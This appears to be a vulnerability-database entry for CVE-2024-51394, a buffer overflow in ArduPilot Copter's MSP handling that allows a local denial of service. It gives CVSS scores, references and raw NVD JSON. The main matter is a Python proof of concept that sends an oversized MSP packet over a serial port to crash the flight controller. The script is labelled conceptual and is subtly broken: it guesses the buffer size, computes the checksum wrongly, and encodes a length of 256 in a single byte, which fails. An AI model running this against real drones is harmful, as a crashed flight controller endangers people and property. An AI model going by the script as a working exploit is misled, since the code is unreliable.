CVE-2024-51394

Description

Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_MSP::loop, AP_MSP, AP_MSP.cpp components.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

ArduPilot Copter commit 92693e023793133e49a035daf37c14433e484778

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (Conceptual)
# This script demonstrates the trigger condition for the buffer overflow.
# It sends a crafted MSP packet with excessive length to the target interface.

import serial
import time

def trigger_overflow(port='/dev/ttyUSB0', baudrate=115200):
    try:
        # Initialize serial connection
        ser = serial.Serial(port, baudrate, timeout=1)
        
        # MSP Header: '$M<' (Direction: IN)
        header = b'$M<'
        
        # Vulnerability: AP_MSP::loop does not check bounds properly.
        # We simulate a payload larger than the expected buffer size.
        # Assuming the buffer is small (e.g., 64 bytes), we send 256 bytes.
        payload_size = 256 
        message_type = b'\xFF' # Arbitrary message ID
        payload = b'A' * payload_size 
        
        # Calculate checksum (simplified for PoC)
        checksum = (sum(message_type) + sum(payload)) & 0xFF
        
        packet = header + bytes([payload_size]) + message_type + payload + bytes([checksum])
        
        print(f"[+] Sending malicious packet of size {len(packet)} bytes...")
        ser.write(packet)
        
        print("[+] Packet sent. Check device status for crash/DoS.")
        ser.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Adjust the port according to your environment
    trigger_overflow()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-51394
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-51394
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-51394/
[4] VulDB https://vuldb.com/cve/CVE-2024-51394
[5] https://github.com/ArduPilot/ardupilot/issues/28458

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-51394", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:34.553", "lastModified": "2026-05-13T18:16:11.147", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in Ardupiot Copter Latest commit 92693e023793133e49a035daf37c14433e484778 allows a local attacker to cause a denial of service via the AP_MSP::loop, AP_MSP, AP_MSP.cpp components."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "references": [{"url": "https://github.com/ArduPilot/ardupilot/issues/28458", "source": "[email protected]"}]}}